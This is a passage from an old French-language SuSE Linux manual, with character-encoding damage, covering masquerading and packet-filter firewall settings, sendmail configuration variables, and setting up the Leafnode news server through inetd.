  13304.                            ________________________________________________________________________________________________________*
  13305.  *________||
  13306.                            |  Il n'est pas possible de garantir que les mΘthodes que nous allons prΘsenter                         *
  13307.  *        ||||
  13308.                            |                                                                                                       *
  13309.  *        |||
  13310.                            |  ici fonctionnent parfaitement. Si vous Ωtes victime d'intrusions dans votre                          *
  13311.  *        |||
  13312.                            |  systΦme bien que vous ayez fait tout comme il se doit, n'en rendez pas les                           *
  13313.  *        |||
  13314.                            |                                                                                                       *
  13315.  *        |||
  13316.                            |  auteurs responsables. Nous acceptons cependant volontiers vos critiques et                           *
  13317.  *        |||
  13318.                            |  suggestions α l'adresse feedback@suse.de. Et s'il est nΘcessaire d'amΘlio-                           *
  13319.  *        |||
  13320.                            |                                                                                                       *
  13321.  *        |||
  13322.                            |  rer quelque chose, nous ne manquerons pas de le faire !                                              *
  13323.  *        |||
  13324.                            |_______________________________________________________________________________________________________*
  13325.  *________|||_
  13326.  
  13327.  
  13328.  
  13329.                            6.7.1      Principes du Masquerading
  13330.  
  13331.  
  13332.                            Pour le Masquerading, on a besoin de deux pΘriphΘriques rΘseau diffΘrents.
  13333.                            L'un  d'entre  eux  au  moins  est  une  carte  Ethernet  reliΘe  au  rΘseau  interne.
  13334.                            L'adresse de ce rΘseau doit Ωtre prise dans une zone d'adresses privΘes desti-
  13335.                            nΘes α cet usage, par exemple de 192.168.0.0           α 192.168.255.255              . Dans
  13336.                            notre configuration exemple, nous supposons que le routeur (que nous allons
  13337.                            configurer ici) peut accΘder, sous l'adresse 192.168.0.1          , α la carte reliΘe au
  13338.                            rΘseau interne. Les machines du rΘseau interne auront alors, par exemple, les
  13339.                            adresses IP 192.168.0.2          , 192.168.0.3           et ainsi de suite.
  13340.  
  13341.                            Le pΘriphΘrique rΘseau externe est, par exemple, la carte ISDN utilisΘe pour
  13342.                            l'accΦs Internet, ou bien une ligne permanente α laquelle est reliΘe une carte
  13343.                            rΘseau Ethernet. C'est ce que nous supposons dans notre exemple. La confi-
  13344.                            guration est dΘcrite plus bas.
  13345.                            6.7.2      Principes du Firewall
  13346.  
  13347.  
  13348.                            Ce n'est pas, α proprement parler, un ``firewall'' qui est contenu dans ce paque-
  13349.                            tage mais un ``filtre de paquets''. Par un filtre de paquets Firewall, on protΦge
  13350.                            le rΘseau contre les attaques visant les adresses IP et les ports auxquels on n'a
  13351.                            pas expressΘment autorisΘ l'accΦs. Si votre machine est un serveur Web et si
  13352.                            vous autorisez pour celle-ci l'accΦs au port 80 ~ vous devez de toute faτon le
  13353.                            faire afin qu'il soit possible d'accΘder de l'extΘrieur au serveur Web ~, il est
  13354.                            Θvident que cette machine ne sera pas protΘgΘe contre les attaques visant ce
  13355.                            port. Ce filtre de paquets Firewall ne doit pas et ne peut pas se substituer α
  13356.                            un pare-feu de niveau application. Un tel par-feu devrait Ωtre installΘ par un
  13357.                            prestataire de services professionnel. Il est cependant opportun, pour la sΘcu-
  13358.                            ritΘ du systΦme, d'installer ce Firewall sur une machine destinΘe α un usage
  13359.                            privΘ.
  13360.  
  13361. 202
  13362.        _________________________________________________________6.7.__Masquerading_et_Firewall_~_Amis_et_``amis''__________________*
  13363.  *______________________
  13364.  
  13365.  
  13366.  
  13367. 6.7.3       Configuration de Masquerading et/ou de Firewall
  13368. La  documentation  concernant  le  Firewall  SuSE     se  trouve  sous  /usr/doc/
  13369.  
  13370. packages/firewall ~ et vous trouverez au chapitre 18.1 page 465 et pages
  13371. suivantes quelques considΘrations thΘoriques sur ce thΦme.
  13372.  
  13373. L'ensemble de la configuration se fait dans /etc/rc.firewall et les expli-
  13374. cations sont en anglais. Nous allons vous donner ici quelques prΘcisions afin
  13375. de vous guider pas α pas vers une configuration rΘussie. Pour chaque point, il
  13376. est mentionnΘ si celui-ci s'applique α Masquerading ou α Firewall. Dans le fi-
  13377. chier de configuration, il est aussi question d'une DMZ (``zone dΘmilitarisΘe'')
  13378. que nous ne dΘtaillerons pas ici.
  13379.  
  13380. Si vous n'avez besoin que de Masquerading, remplissez uniquement les lignes
  13381. portant la mention Masquerading.
  13382.  
  13383.   ~   FW_START        (Firewall, Masquerading) : Positionnez ce paramΦtre α yes   afin
  13384.       que le script soit lancΘ. Ceci rend possible Firewall et/ou Masquerading.
  13385.  
  13386.   ~   FW_DEV_WORLD            (Firewall,  Masquerading)  :  Par  exemple  eth0   .  C'est  le
  13387.       pΘriphΘrique  qui  permet  les  connexions  α  Internet.  Pour  ISDN,  ce  sera
  13388.       par exemple ippp0     .
  13389.  
  13390.   ~   FW_DEV_INT           (Firewall,  Masquerading)  :  C'est  le  pΘriphΘrique  reliΘ  au
  13391.       rΘseau ``privΘ'' interne. Dans le cas o∙ il n'existerait pas de rΘseau interne
  13392.       ~ si par exemple le firewall protΦge uniquement votre machine ~, laissez
  13393.       tout simplement ce champ vide.
  13394.  
  13395.   ~   FW_ROUTE         (Firewall,  Masquerading)  :  Si  vous  avez  besoin  de  l'option
  13396.       Masquerading,  positionnez  ce  paramΦtre  α  yes  .  Mais  pour  un  Firewall
  13397.       sans Masquerading, n'entrez yes    que si vous souhaitez que l'on puisse
  13398.       accΘder de l'extΘrieur au rΘseau interne. Cela ne fonctionne toutefois que
  13399.       s'il  a  ΘtΘ  assignΘ  aux  machines  du  rΘseau  interne  des  adresses  IP  offi-
  13400.       cielles. Normalement, vous ne devriez pas autoriser l'accΦs aux machines
  13401.       du rΘseau interne depuis l'extΘrieur ! Si vous entrez yes    dans ce champ
  13402.       pour pouvoir obtenir le Masquerading, les machines de votre rΘseau in-
  13403.       terne ne seront pas pour autant visibles de l'extΘrieur puisqu'elles ont des
  13404.       adresses rΘseau privΘes (par exemple 192.168.x.x          ) ne permettant pas le
  13405.       routage sur Internet.
  13406.  
  13407.   ~   FW_MASQUERADE             (Masquerading) : si vous avez besoin de l'option Mas-
  13408.       querading,  vous  devez  entrer  yes    dans  ce  champ.  Notez  qu'il  est  favo-
  13409.       rable,  pour  la  sΘcuritΘ  du  systΦme,  que  les  machines  du  rΘseau  interne
  13410.       puissent accΘder α Internet α travers un serveur proxy.
  13411.  
  13412.   ~   FW_MASQ_NETS            (Masquerading) : SpΘcifiez ici les machines et/ou les rΘ-
  13413.       seaux pour lesquels vous voulez utiliser le Masquerading. SΘparez les dif-
  13414.       fΘrentes entrΘes par des espaces. ~ Exemple :
  13415.  
  13416.             FW_MASQ_NETS="192.168.0.0/24  192.168.10.1"
  13417.  
  13418.  
  13419.   ~   FW_PROTECT_FROM_INTERNAL                         (Firewall)   :   Inscrivez   yes     dans   ce
  13420.       champ  si  vous  voulez  aussi  protΘger  la  machine  pare-feu  contre  les
  13421.       attaques  du  rΘseau  interne.  Vous  devrez  alors  autoriser  expressΘment
  13422.       l'accΦs  aux  services  disponibles  pour  le  rΘseau  interne.  Voir  aussi
  13423.       FW_SERVICES_INTERNAL_TCP                       et FW_SERVICES_INTERNAL_UDP                      .
  13424.  
  13425.  
  13426.                                                                                                                                    *
  13427.  *   203
  13428. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  13429.  *_______________________________________@
  13430.  
  13431.  
  13432.  
  13433.                              ~   FW_AUTOPROTECT_GLOBAL_SERVICES                            (Firewall) : En cas normal, ce pa-
  13434.                                  ramΦtre reste positionnΘ α yes   .
  13435.  
  13436.                              ~   FW_SERVICES_EXTERNAL_TCP                      (Firewall) : SpΘcifiez ici les services aux-
  13437.                                  quels on doit avoir accΦs, par exemple "www  smtp  ftp  domain  443"
  13438.                                  ~ pour votre ordinateur domestique qui ne doit offrir aucun service, vous
  13439.                                  n'aurez gΘnΘralement rien α inscrire.
  13440.  
  13441.                              ~   FW_SERVICES_EXTERNAL_UDP                      (Firewall) : Si vous ne gΘrez pas prΘcisΘ-
  13442.                                  ment un serveur de noms auquel on doit pouvoir accΘder de l'extΘrieur,
  13443.                                  laissez  ce  champ  vide.  Si  c'est  cependant  le  cas,  spΘcifiez  ici  les  ports
  13444.                                  requis.
  13445.  
  13446.                              ~   FW_SERVICES_INTERNAL_TCP                       (Firewall)  :  Reprenez  les  spΘcifications
  13447.                                  que vous avez faites dans la ligne FW_SERVICES_EXTERNAL_TCP                      . La prΘ-
  13448.                                  sente ligne concerne cependant l'accΦs α partir du rΘseau interne.
  13449.  
  13450.                              ~   FW_SERVICES_INTERNAL_UDP                      (Firewall) : Voir ci-dessus.
  13451.  
  13452.                              ~   FW_TRUSTED_NETS               (Firewall)  :  SpΘcifiez  ici  les  machines  auxquelles
  13453.                                  vous pouvez vraiment  faire confiance (``trusted hosts''). Tenez prΘsent α
  13454.                                  l'esprit  que  ces  machines  doivent  aussi  Ωtre  protΘgΘes  contre  les  intru-
  13455.                                  sions. Exemple : "172.20.0.0/16  172.20.1.1"                       signifie que toutes les
  13456.                                  machines dont l'adresse IP commence par 172.20.x.x          ainsi que la ma-
  13457.                                  chine avec l'adresse IP 172.20.1.1          peuvent traverser le pare-feu.
  13458.  
  13459.                              ~   FW_SERVICES_TRUSTED_TCP                     (Firewall) : Vous pouvez ici dΘterminer les
  13460.                                  adresses de ports TCP qui peuvent Ωtre utilisΘes par les ``h⌠tes de confian-
  13461.                                  ce''. SpΘcifiez par exemple 1  :65535       si les machines dignes de confiance
  13462.                                  sont autorisΘes α accΘder α tous les services. Il devrait normalement Ωtre
  13463.                                  suffisant de spΘcifier ssh    comme service.
  13464.  
  13465.                              ~   FW_SERVICES_TRUSTED_UDP                      (Firewall)  :  Comme  le  point  prΘcΘdent,
  13466.                                  mais se rapporte α UDP.
  13467.  
  13468.                              ~   FW_ALLOW_INCOMING_HIGHPORTS_TCP                             (Firewall) : Pour un FTP normal
  13469.                                  (actif), spΘcifiez ici ftp-data       .
  13470.  
  13471.                              ~   FW_ALLOW_INCOMING_HIGHPORTS_UDP                              (Firewall)  :  SpΘcifiez  ici  dns
  13472.                                  pour pouvoir utiliser les serveurs de noms inscrits dans /etc/resolv.
  13473.                                  conf. Avec yes   , vous autorisez tous les numΘros de ports ΘlevΘs.
  13474.  
  13475.                              ~   FW_SERVICE_DNS              (Firewall) : Si vous avez un serveur de noms auquel
  13476.                                  on doit pouvoir accΘder de l'extΘrieur, inscrivez ici yes   . En mΩme temps,
  13477.                                  l'accΦs au port 53 doit Ωtre autorisΘ dans FW_TCP_SERVICES_*
  13478.  
  13479.                              ~   FW_SERVICE_DHCLIENT                  (Firewall)  :  Vous  devez  inscrire  yes    dans  ce
  13480.                                  champ si vous utilisez dhclient  pour obtenir votre adresse IP.
  13481.  
  13482.                              ~   FW_LOG_*        : SpΘcifiez ici ce que vous voulez faire enregistrer. Pour une
  13483.                                  utilisation courante, il suffit de positionner FW_LOG_DENY_CRIT                α yes   .
  13484.  
  13485.                              ~   FW_STOP_KEEP_ROUTING_STATE                        (Firewall) : Si vous vous connectez au-
  13486.                                  tomatiquement α Internet par diald  ou par ISDN (numΘrotation α la de-
  13487.                                  mande), entrez yes    dans ce champ.
  13488.  
  13489.                            N'oubliez pas, pour terminer, de tester le Firewall (par exemple avec telnet
  13490.                            de l'extΘrieur). Vous devriez alors voir, dans /var/log/messages, des en-
  13491.                            trΘes ayant plus ou moins cet aspect :
  13492.  
  13493.  
  13494. 204
  13495.        _________________________________________6.8.__Donnez_de_vos_nouvelles_~_Configuration_de_Sendmail__________________________*
  13496.  *______________________
  13497.  
  13498.  
  13499.  
  13500. Feb    7  01:54:14  www  kernel:  Packet  log:  input  DENY  eth0
  13501. PROTO=6  129.27.43.9:1427  195.58.178.210:23  L=60  S=0x00
  13502. I=36981  F=0x4000  T=59  SYN  (#119)
  13503.  
  13504.  
  13505. 6.8       Donnez de vos nouvelles ~ Configuration de Sendmail
  13506.  
  13507. AprΦs  vous  Ωtre  connectΘ  au  monde  extΘrieur,  que  ce  soit  par  UUCP,  PPP
  13508. ou ISDN, vous souhaiterez certainement tirer parti de votre connexion. Une
  13509. application typique est le courrier Θlectronique ou +   E-mail. Ce paragraphe
  13510. dΘcrit la configuration du paquetage sendmail 6 .
  13511.  
  13512. Lors  de  la  distribution  du  courrier  Θlectronique,  sendmail  dΘcide  du  mode
  13513. d'acheminement : par rΘseau TCP/IP avec le protocole SMTP, dans le clas-
  13514. seur  E-mail  local  d'un  utilisateur  ou  par  d'autres  programmes  de  transport
  13515. tels que UUCP.
  13516.  
  13517. Le fichier central de configuration de sendmail est /etc/sendmail.cf. Pour
  13518. une configuration simple, on peut positionner quelques paramΦtres avec YaST
  13519. et faire crΘer un fichier /etc/sendmail.cf valide. Les paramΦtres sont ins-
  13520. crits  dans  le  fichier  /etc/rc.config.d/sendmail.rc.config  et  SuSE-
  13521. config  Θcrit le fichier /etc/sendmail.cf α l'aide de ces entrΘes et en utili-
  13522. sant /sbin/conf.d/SuSEconfig.sendmail.
  13523.  
  13524. Comme les fichiers de configuration du paquetage sendmail  sont trΦs com-
  13525. plexes, SuSE     Linux vous propose deux configurations prΘdΘfinies qui peuvent
  13526. Ωtre utilisΘes dans la majeure partie des cas :
  13527.  
  13528. Si vous avez l'intention d'utiliser sendmail  dans un rΘseau TCP/IP, vous de-
  13529. vez  absolument  disposer  d'un  serveur  DNS  valide.  Vous  devrez  alors  faire
  13530. pour  chaque  nom  un  enregistrement  particulier  (``MX  record'',  ``mail  ex-
  13531. change record'') pour E-mail. Vous pourrez vΘrifier les paramΦtres courants
  13532. avec la commande host     (dans le paquetage bind) :
  13533.  
  13534. terre:  #  host  soleil.cosmos.univers
  13535. soleil.cosmos.univers  address  192.168.0.1
  13536. soleil.cosmos.univers  mail  is  handled  (pri=10)
  13537.                                                by  soleil.cosmos.univers
  13538. soleil.cosmos.univers  mail  is  handled  (pri=100)
  13539.                                                by  mail-relay.cosmos.univers
  13540. S'il  n'existe  aucune  entrΘe  pour  E-mail,  demandez  α  votre  administra-
  13541. teur DNS de vous venir en aide.
  13542.  
  13543. Les paramΦtres suivants, nΘcessaires pour une configuration E-mail, peuvent
  13544. Ωtre  insΘrΘs  par  YaST  dans  le  fichier  /etc/rc.config.d/sendmail.rc.
  13545. config  (voir  paragraphe  17.6  page  451  et  actuellement   le  fichier  /etc/
  13546. mail/README.linux)  :
  13547.  
  13548.  
  13549.   ~   SENDMAIL_TYPE="yes"
  13550.       Cette  variable  doit  Ωtre  positionnΘe  α  yes    si  le  fichier  de  configura-
  13551.       tion sendmail  doit Ωtre crΘΘ α partir des valeurs dΘfinies dans /etc/rc.
  13552.       config.d/sendmail.rc.config.  Si  vous  voulez  crΘer  vous-mΩme  le
  13553.       fichier /etc/sendmail.cf, la valeur correcte est no  .
  13554. 6      ____________________________________________________
  13555.   Une alternative α sendmail est constituΘe par postfix ou qmail . Ces deux paquetages ne seront
  13556. toutefois pas ΘvoquΘs ici.
  13557.  
  13558.  
  13559.                                                                                                                                    *
  13560.  *   205
  13561. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  13562.  *_______________________________________@
  13563.  
  13564.  
  13565.  
  13566.                              ~   SENDMAIL_LOCALHOST=\
  13567.                                  "localhost  soleil.cosmos.univers  www.cosmos.univers"
  13568.                                  sendmail doit savoir quel courrier doit Ωtre stockΘ localement et quel cour-
  13569.                                  rier doit Ωtre acheminΘ vers une autre machine. Seul le courrier Θlectro-
  13570.                                  nique  destinΘ  α  l'h⌠te  local  est  stockΘ  par  dΘfaut  comme  E-mail  local.
  13571.                                  Avec  SENDMAIL_LOCALHOST                ,  on  peut  spΘcifier  d'autres  noms  de  ma-
  13572.                                  chines  ~  sΘparΘs  par  des  espaces  ~  qui  doivent  aussi  Ωtre  considΘrΘes
  13573.                                  comme h⌠tes locaux.
  13574.  
  13575.                                  Exemple  :  Le  nom  de  la  machine  est  soleil.cosmos.univers.  Elle
  13576.                                  assume  les  fonctions  de  serveur  WWW  pour  www.cosmos.univers.
  13577.                                  Afin que tout le courrier Θlectronique destinΘ α www.cosmos.univers
  13578.                                  soit acceptΘ, il convient d'entrer la ligne suivante
  13579.                                  SENDMAIL_LOCALHOST="localhost  www.cosmos.univers"                                           .
  13580.  
  13581.                              ~   FROM_HEADER=cosmos.univers
  13582.                                  L'adresse de l'expΘditeur est en gΘnΘral tout simplement celle de la ma-
  13583.                                  chine locale. Il est toutefois possible de la modifier avec ce paramΦtre.
  13584.  
  13585.                                  Exemple  :  La  machine  a  pour  nom  terre.cosmos.univers,  mais  le
  13586.                                  courrier Θlectronique doit Ωtre envoyΘ au nom de tux@cosmos.univers
  13587.                                  (donc sans nom de machine). Vous devez pour cela faire l'entrΘe :
  13588.                                  FROM_HEADER=cosmos.univers                       .
  13589.  
  13590.                              ~   SENDMAIL_SMARTHOST=mail-server.provider.de
  13591.                                  Pour tout courrier Θlectronique non local, sendmail  demande les donnΘes
  13592.                                  DNS et tente, au moyen du protocole SMTP, de transmettre le courrier α
  13593.                                  la machine concernΘe. Cette machine peut se trouver n'importe o∙ dans le
  13594.                                  rΘseau Internet et la connexion peut Θventuellement Ωtre assez lente. Mais
  13595.                                  ce  paramΦtre  permet  d'indiquer  une  machine  intermΘdiaire  qui  recevra
  13596.                                  tout le courrier sortant et le transmettra ensuite α la machine destinataire.
  13597.  
  13598.                                  Premier exemple : Vous pouvez, avec une connexion dialup, transmettre
  13599.                                  tout le courrier α votre fournisseur d'accΦs qui se chargera de la distribu-
  13600.                                  tion :
  13601.                                  SENDMAIL_SMARTHOST=smtp  :mail-server.provider.de                                          .
  13602.  
  13603.                                  DeuxiΦme  exemple  :  Si  vous  avez  une  connexion  UUCP,  vous  pouvez
  13604.                                  transmettre tout le courrier non local au serveur UUCP :
  13605.                                  SENDMAIL_SMARTHOST=uucp-dom  :uucp.cosmos.univers                                          .
  13606.  
  13607.                              ~   SENDMAIL_NOCANONIFY=no
  13608.                                  sendmail  recherche toutes les adresses dans l'en-tΩte E-mail et remplace
  13609.                                  les noms par les ``noms de domaines pleinement qualifiΘs'' (angl. ``Fully
  13610.                                  Qualified Domain Names'' = FQDN). Si vous indiquez toujours le nom
  13611.                                  complet  parce  que  vous  n'avez  pas  toujours  accΦs  α  un  serveur  DNS  α
  13612.                                  cause, par exemple, d'une connexion dialup, vous pouvez invalider cette
  13613.                                  fonction par yes   .
  13614.  
  13615.                              ~   SENDMAIL_ARGS="-bd  -q30m  -om"
  13616.                                  C'est avec ces paramΦtres que sendmail  est invoquΘ α l'amorτage de la
  13617.                                  machine.
  13618.                                  Avec -q30m     , on demande α sendmail  de vΘrifier toutes les 30 minutes s'il
  13619.                                  y a encore dans le rΘpertoire /var/spool/mqueue du courrier qui doit
  13620.                                  Ωtre distribuΘ.
  13621.  
  13622.  
  13623. 206
  13624.        _________________________________________6.8.__Donnez_de_vos_nouvelles_~_Configuration_de_Sendmail__________________________*
  13625.  *______________________
  13626.  
  13627.  
  13628.  
  13629.       -bd    lance sendmail  en ``mode dΘmon'' et ainsi le courrier transmis par le
  13630.       rΘseau TCP/IP est acceptΘ par d'autres machines.
  13631.       Pour les connexions dialup, on pourrait omettre -q30m      et faire distribuer
  13632.       le courrier en invoquant directement sendmail  avec sendmail  -q         . Ceci
  13633.       peut se faire, par exemple au moyen d'une entrΘe crontab , une ou deux
  13634.       fois par jour. Une autre possibilitΘ consiste α insΘrer sendmail  -q          dans
  13635.       les scripts qui servent α Θtablir une connexion. Vous pouvez ainsi Θchanger
  13636.       du courrier α chaque fois que vous vous connectez au rΘseau.
  13637.  
  13638.   ~   SENDMAIL_EXPENSIVE=no
  13639.       sendmail  essaie  immΘdiatement  de  transmettre  le  courrier  via  SMTP.
  13640.       Mais si vous n'Ωtes connectΘ α Internet que de faτon sporadique (``Dial-
  13641.       On-Demand''),  il  est  possible  que  vous  ne  souhaitiez  pas  Θtablir  une
  13642.       connexion avec votre fournisseur d'accΦs pour chaque E-mail.
  13643.       Avec yes   , le courrier Θlectronique sera d'abord conservΘ dans le rΘper-
  13644.       toire /var/spool/mqueue au lieu d'Ωtre tout de suite distribuΘ.
  13645.  
  13646. Tout le courrier Θlectronique local est stockΘ par le programme procmail dans
  13647. les classeurs de courrier locaux /var/spool/mail/<name>                      . Lisez la page
  13648. de man de procmailrc          (man  procmailrc            ), la page de man de procmailex
  13649. (man  procmailex            ) ainsi que la page de man de procmail        (man  procmail          )
  13650. qui donnent une description prΘcise de ce programme trΦs flexible.
  13651.  
  13652. Si le courrier Θlectronique ne peut pas Ωtre transmis tout de suite, il sera stockΘ
  13653. dans le rΘpertoire /var/spool/mqueue et sera distribuΘ α la prochaine exΘ-
  13654. cution de sendmail . La frΘquence α laquelle la file d'attente est traitΘe est dΘ-
  13655. terminΘe lors du dΘmarrage de sendmail . Mais il est aussi possible de mettre
  13656. en route la transmission des messages par la commande sendmail  -q         .
  13657.  
  13658. Vous  pouvez  aussi  ajouter  d'autres  paramΦtres  pour  sendmail  dans  les  fi-
  13659. chiers /etc/aliases et dans quelques fichiers du rΘpertoire /etc/mail/.
  13660. Vous trouverez dans ces fichiers des exemples commentΘs. Certains fichiers
  13661. en mode texte doivent Ωtre convertis en fichiers bases de donnΘes par le pro-
  13662. gramme  makemap .  Ceci  est  exΘcutΘ  automatiquement  lorsque  vous  lancez
  13663. SuSEconfig ou lorsque vous quittez YaST .
  13664.  
  13665. Si vous voulez rΘaliser des configurations plus complexes, vous devrez faire
  13666. en sorte, avec SENDMAIL_TYPE=no               , que /etc/sendmail.cf ne soit pas gΘ-
  13667. nΘrΘ automatiquement et vous devrez prendre /etc/mail/linux.mc comme
  13668. base pour votre propre configuration. linux.mc contient des commandes m4 .
  13669.  
  13670.       terre:  #  m4  /etc/mail/linux.mc  >  /etc/sendmail.cf
  13671.  
  13672. crΘe une configuration sendmail valide en utilisant les macros contenues dans
  13673. le rΘpertoire /usr/share/sendmail.
  13674.  
  13675. Vous  trouverez  une  documentation  complΘmentaire  dans  les  rΘpertoires
  13676. /etc/mail,  /usr/share/sendmail  et  /usr/doc/packages/sendmail.
  13677. Comme   adresse   de   dΘpart   pour   WWW,   vous   pouvez   prendre   http:
  13678. //www.sendmail.org/. Si vous avez des tΓches plus complexes α rΘaliser,
  13679. vous  ne  pourrez  probablement  pas  Θchapper  α  la  lecture  du  livre  Sendmail
  13680. ΘditΘ par O'Reilly7  qui offre une excellente documentation prΘcise et dΘtaillΘe
  13681. sur la configuration de sendmail .
  13682. 7      ____________________________________________________
  13683.   Voir [CAR93    ].
  13684.  
  13685.  
  13686.                                                                                                                                    *
  13687.  *   207
  13688. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  13689.  *_______________________________________@
  13690.  
  13691.  
  13692.  
  13693.                            6.9       News : Les toutes derniΦres nouvelles de USENET
  13694.  
  13695.                            L'un des plus importants services fournis par Internet est la transmission et la
  13696.                            distribution  d'informations  organisΘes  dans  diffΘrents  groupes.  Cette  partie
  13697.                            de  l'Internet  est  connue  sous  le  nom  de  Usenet.  Ce  n'est  que  grΓce  α  ce
  13698.                            service  que  le  dΘveloppement  de  Linux  a  ΘtΘ  possible  et  c'est  cette  forme
  13699.                            de communication sans obstacles et d'une extrΩme efficacitΘ qui permet de
  13700.                            continuer α dΘvelopper rapidement le systΦme et d'y apporter continuellement
  13701.                            des  amΘliorations8 .  USENET  est,  en  outre,  un  moyen  d'entr'aide  essentiel
  13702.                            pour les utilisateurs de Linux.
  13703.  
  13704.                            Comme une description du systΦme de news et de toutes les possibilitΘs qu'il
  13705.                            offre (par exemple transmission α d'autres machines) dΘpasserait le cadre de
  13706.                            ce manuel, nous ne parlerons ici que de la configuration d'un systΦme de news
  13707.                            local.
  13708.                            ________________________________________________________________________________________________________*
  13709.  *________|||
  13710.                            |  Pour de grands systΦmes, il est recommandΘ d'avoir recours au paquetage                              *
  13711.  *        ||||
  13712.                            |                                                                                                       *
  13713.  *        |||
  13714.                            |  inn, sΘrie n. Vous trouverez des informations sur l'installation de INN sous                         *
  13715.  *        |||
  13716.                            |  /usr/doc/packages/inn. Pour les systΦmes UUCP, il est Θgalement ju-                                  *
  13717.  *        |||
  13718.                            |                                                                                                       *
  13719.  *        |||
  13720.                            |  dicieux de donner la prΘfΘrence α INN. ~ L'installation de INN n'est par                             *
  13721.  *        |||
  13722.                            |  couverte par l'Assistance Technique α l'Installation (voir paragraphe H.1.2                          *
  13723.  *        |||
  13724.                            |                                                                                                       *
  13725.  *        |||
  13726.                            |  page  558).  Nous  sommes  cependant  volontiers  disposΘs  α  vous  venir  en                       *
  13727.  *        |||
  13728.                            |  aide dans le cadre de notre Service Pro facturΘ α part (voir paragraphe H.3                          *
  13729.  *        |||
  13730.                            |                                                                                                       *
  13731.  *        |||
  13732.                            |  page 561).                                                                                           *
  13733.  *        |||
  13734.                            |_______________________________________________________________________________________________________*
  13735.  *________|||_
  13736.  
  13737.  
  13738.                            6.9.1      Le systΦme de news Leafnode
  13739.  
  13740.                            Le paquetage leafnode est l'un des systΦmes de news les mieux appropriΘs
  13741.                            pour petits rΘseaux ou pour machines monopostes possΘdant une connexion
  13742.                            Internet simple mais pas forcΘment des plus rapides. Ce paquetage est consti-
  13743.                            tuΘ de plusieurs parties : le serveur NNTP proprement dit leafnode , le pro-
  13744.                            gramme fetchnews  (autrefois : fetch) qui permet de retirer les articles et le
  13745.                            programme texpire  qui permet d'effacer les articles pΘrimΘs ou ceux qui ne
  13746.                            sont plus jugΘs intΘressants. Il existe, en outre, des outils pour la gestion des
  13747.                            stocks  de  donnΘes  sous  /var/spool/news.  Vous  trouverez  une  documen-
  13748.                            tation relative α tous ces composants sous /usr/doc/packages/leafnode
  13749.                            ainsi que dans la page de man de leafnode        (man  8  leafnode           ) et les autres
  13750.                            +  pages de man qui y sont mentionnΘes.
  13751.                            ________________________________________________________________________________________________________*
  13752.  *________
  13753.                            |  Lisez  les  remarques  concernant  la  mise  α  jour  au  paragraphe  15.2.8                         *
  13754.  *        |||
  13755.                            |                                                                                                       *
  13756.  *        |||
  13757.                            |  page 412.                                                                                            *
  13758.  *        |||
  13759.                            |_______________________________________________________________________________________________________*
  13760.  *________|||_
  13761.  
  13762.  
  13763.                            Conditions requises pour la mise en oeuvre de Leafnode
  13764.  
  13765.                              ~   Vous devez pouvoir accΘder directement par modem (PPP), par connexion
  13766.                                  ISDN  ou  autre  connexion  rΘseau  (par  exemple  Ethernet)  α  un  ser-
  13767.                                  veur  NNTP  externe  sur  lequel  vous  pouvez  retirer  les  ``news''.  En  cas
  13768.                            _____________________________________________8
  13769.                               Ne nΘgligeons pas de prΘciser que cette fonction est maintenant adoptΘe par les ``listes de
  13770.                            diffusion'' dans de nombreux domaines.
  13771.  
  13772.  
  13773. 208
  13774.        _______________________________________________6.9.__News_:_Les_toutes_derniΦres_nouvelles_de_USENET________________________*
  13775.  *______________________
  13776.  
  13777.  
  13778.  
  13779.       de  doute,  demandez  α  votre  fournisseur  d'accΦs  Internet  (+  FAI)  les
  13780.       donnΘes du serveur NNTP α utiliser.
  13781.  
  13782.   ~   Le paquetage leafnode, sΘrie n doit Ωtre installΘ.
  13783.  
  13784.   ~   Espace disque sous /var/spool/news ;-)
  13785.  
  13786.   ~   Les phases de configuration que nous allons ΘnumΘrer doivent Ωtre exΘcu-
  13787.       tΘes.
  13788.  
  13789.  
  13790. Serveur NNTP local
  13791.  
  13792. Vous  devez  tout  d'abord  vous  assurer  que  Leafnode  tourne  comme  ser-
  13793. veur NNTP local.
  13794.  
  13795.  1.   Positionnez, dans le fichier /etc/rc.config, la variable <NNTPSERVER>
  13796.       α la valeur localhost        . Vous pouvez bien s√r aussi utiliser le ``vΘritable''
  13797.       nom de votre machine Linux en lieu et place de localhost         (par exemple
  13798.       terre)  si  vous  avez  configurΘ  votre  machine  en  consΘquence ;  ceci  est
  13799.       absolument indispensable dans un environnement rΘseau ! ~ La mΘthode
  13800.       la plus s√re pour positionner la variable <NNTPSERVER> est d'utiliser
  13801.       YaST  (voir la procΘdure au paragraphe 3.6.12 page 114) car YaST  invo-
  13802.       quera automatiquement_le script SuSEconfig lorsque vous aurez quittΘ le
  13803.       masque avec |F____1|0.
  13804.  
  13805.  2.   Dans   le   fichier   /etc/leafnode/config,   procΘdez   α   l'aide   d'un
  13806.       +  Θditeur     aux  modifications  indispensables  ou  souhaitables.  Le  nom
  13807.       du serveur NNTP de votre fournisseur d'accΦs doit obligatoirement Ωtre
  13808.       inscrit dans ce fichier (α server  =      ).
  13809.  
  13810.  3.   Prenez  les  dispositions  nΘcessaires  pour  que  leafnode  soit  lancΘ  par
  13811.       inetd    . Activez pour cela l'entrΘe nntp     dans /etc/inetd.conf en sup-
  13812.       primant  le  caractΦre  de  commentaire  (`#',  tout  dans  une  ligne !) ;  voir
  13813.       fichier 6.9.1.
  13814.  
  13815.  4.   Lancez de nouveau inetd  α la main afin que cette configuration devienne
  13816.       effective. Vous pouvez pour cela utiliser la commande rcinetd  restart             .
  13817.  
  13818.        _______________________________________________________________________________________________________________________||
  13819.  
  13820.        |||||||| nntp     stream    tcp     nowait    news         /usr/sbin/tcpd                                               |
  13821.        ||||||||                                                                  /usr/sbin/leafnode                            |
  13822.        ||||||||_______________________________________________________________________________________________________________ |
  13823.  
  13824.                           fichier 6.9.1: EntrΘe inetd      pour leafnode
  13825.  
  13826.  
  13827. Maintenant  tout  est  prΘparΘ  au  niveau  local  et  vous  pouvez  entrer  pour  la
  13828. premiΦre fois en contact avec le serveur de news du fournisseur d'accΦs.
  13829.        _______________________________________________________________________________________________________________________
  13830.        ||||||||  Avec telnet  localhost  119                , vous pouvez vΘrifier si leafnode se mani-         |||            |
  13831.        ||||||||                                                                                                 ||             |
  13832.        ||||||||  feste. Si c'est le cas, tapez la commande quit     pour revenir α la ligne de                  ||             |
